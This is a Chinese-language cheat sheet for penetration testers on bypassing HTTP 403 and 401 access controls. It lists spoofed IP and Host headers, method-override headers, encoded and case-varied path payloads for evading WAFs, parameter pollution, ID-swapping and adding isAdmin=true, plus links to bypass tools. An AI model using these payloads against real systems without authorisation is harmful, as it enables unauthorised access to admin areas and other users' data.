403 & 401 Bypass
尝试使用不同的请求方法去请求
尝试发送不同类型的请求例如:GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
但是一般服务都会限制请求方法(万一呢)
-
查看相应头,例如,对 HEAD 的 200 响应带有
Content-Length: 55
意味着 HEAD 动词可以访问该信息。但是仍需要别的方法去显示出这些信息 -
使用动词覆盖:
X-Method_Override
或x-http-method-override
例如:
POST /api/Person/4 HTTP/1.1 X-HTTP-Method-Override: PUT
尝试修改请求头
-
修改Host值,如果网站做了基于域名或则和ip地址的访问控制策略限制一些敏感资源的访问,可以通过修改host值(比如通过信息收集到的子域,或者是目标的其他资产ip或者是内网 ip)都可以进行尝试从而绕过访问控制策略。
-
修改UA,爆破尝试不同的UA
-
尝试使用HTTP Proxy Headers,修改请求头中表示请求的客户端原始地址,同样将其改为子域,其他资产ip,localhost等等,如:
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost
或者是修改为访问目标下的子目录,例如我想访问
/admin
目录但是没有权限可以尝试将请求头修改为X-Original-URL:/admin/xxxxx
X-Rewrite-URL: /admin/xxxxx
-
如果网页不是直接从原始服务器获取,而是通过代理服务器中转或代理传输的,代理服务器可以限制你访问私有信息,对一些敏感请求进行拦截。可以尝试通过HTTP请求走私或者是逐跳标头这里引用了一些大佬的博客,方便后续的学习。
-
403也有可能是waf导致,waf中配置了禁止访问的文件名或者路径,此时可以尝试通过填充脏数据,大小写,双重URL编码或者fuzz路径来尝试bypass
比如
/./path_ #url 编码 /%2e/path_ #双重url编码 /%252e/path_ #或者是对 / 编码 //path %2f/path %252f/path %ef%bc%8f/path #大小写 abc.com/admin abc.com/ADMIN abc.com/admin/ abc.com/admin/. abc.com/./admin// abc.com/admin/.. abc.com/;/admin abc.com/,;/admin abc.com//;//admin abc.com/admin.json #或者直接fuzz /fuzzdicadmin /fuzzdic/admin /adminfuzzdic
-
或者修改其他参数
例如:
/v3/users_data/1234 --> 403 Forbidden /v1/users_data/1234 --> 200 OK {"id":111} --> 401 Unauthriozied {"id":[111]} --> 200 {"id":111} --> 401 Unauthriozied {"id":{"id":111}} --> 200 (JSON参数污染) user_id=ATTACKER_ID&user_id=VICTIM_ID (参数污染)
或者:
- 修改参数
id=1 -> id=2
- 增加参数
?id=123 -> ?id=123&isAdmin=true
- 删除参数
- 重新排列参数
- 使用特殊字符
- 在参数中执行边界测试
或者使用一些自动化工具
- https://github.com/lobuhi/byp4xx
- https://github.com/iamj0ker/bypass-403
- https://github.com/gotr00t0day/forbiddenpass
- https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122
- https://github.com/Sn1r/Forbidden-Buster